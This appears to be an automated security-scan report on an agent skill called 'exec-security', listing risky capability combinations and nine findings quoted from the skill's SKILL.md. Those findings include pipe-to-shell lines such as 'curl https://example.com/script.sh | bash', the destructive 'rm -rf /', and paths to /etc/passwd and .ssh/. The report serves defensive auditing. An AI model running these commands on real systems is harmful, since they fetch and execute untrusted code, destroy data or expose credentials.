Caveat verdict
exec-security
Fetches from network AND uses eval/Function
This skill is a security checker that helps detect dangerous shell command patterns before execution; its powerful capabilities are used defensively and transparently for the user's protection.
Automated static analysis — not a human review. Caveat flags capabilities, not confirmed intent, and can produce false positives. Disagree with this verdict? Use Dispute below.
What it does
These are capability combinations: each listed behavior occurs in the skill, but Caveat detects co-occurrence — it does not verify that one flows into another. Read the code to confirm a live chain.
Fetches from network AND uses eval/Function — the remote-code-execution pattern (data-flow not verified)
LLM05 · LLM06 · ASI05
Reads files AND uses eval/Function — may execute locally stored payloads
LLM05 · LLM06 · ASI05
Encodes data AND uses eval — the obfuscated-execution pattern (atob + eval; data-flow not verified)
LLM05 · ASI05 · ASI10
Reads local files AND makes external network calls — the capabilities for data exfiltration co-occur (data-flow not verified)
LLM02 · LLM06 · ASI03
Accesses system credential store AND makes external network calls
LLM02 · ASI03
Reads files, encodes data, AND makes external network calls — the obfuscated-exfiltration pattern (data-flow not verified)
LLM02 · ASI03
Executes processes AND makes external network calls — may exfiltrate command output
LLM02 · LLM06 · ASI03
Accesses credentials AND makes external network calls — potential credential theft
LLM02 · ASI03
Accesses credentials AND encodes data — may obfuscate stolen credentials
LLM02 · ASI03 · ASI04
Permission integrity
network_out
credential_access
Findings (9)
Pipe-to-shell pattern (curl | sh) — supply chain attack vector
SKILL.md · code · curl https://example.com/script.sh | bash
Pipe-to-shell pattern (wget | sh)
SKILL.md · code · wget -O- https://example.com/install | sh
Pipe to bash — executes piped content as shell commands
SKILL.md · code · | bash
Pipe to sh — executes piped content as shell commands
SKILL.md · code · | sh
Recursive delete from root or home — destructive command
SKILL.md · code · rm -rf /
Accesses sensitive system files
SKILL.md · code · /etc/passwd
Accesses .ssh directory
SKILL.md · code · .ssh/
References sudo — requests elevated privileges
SKILL.md · code · sudo
Accesses shell history/config
SKILL.md · prose · downgraded · ~/.profile
Why the tier is capped
Execution sink present in raw bytes (Hard Floor: class A/B). Final tier capped at Caution — cannot be lifted by any downgrade, example-payload opt-in, or allowlist.
Permissions & capabilities
No declared permissions — minimal attack surface.
file_readcredential_accessnetwork_outprocess_execdynamic_evalcredential_storedata_encoding Thanks — recorded.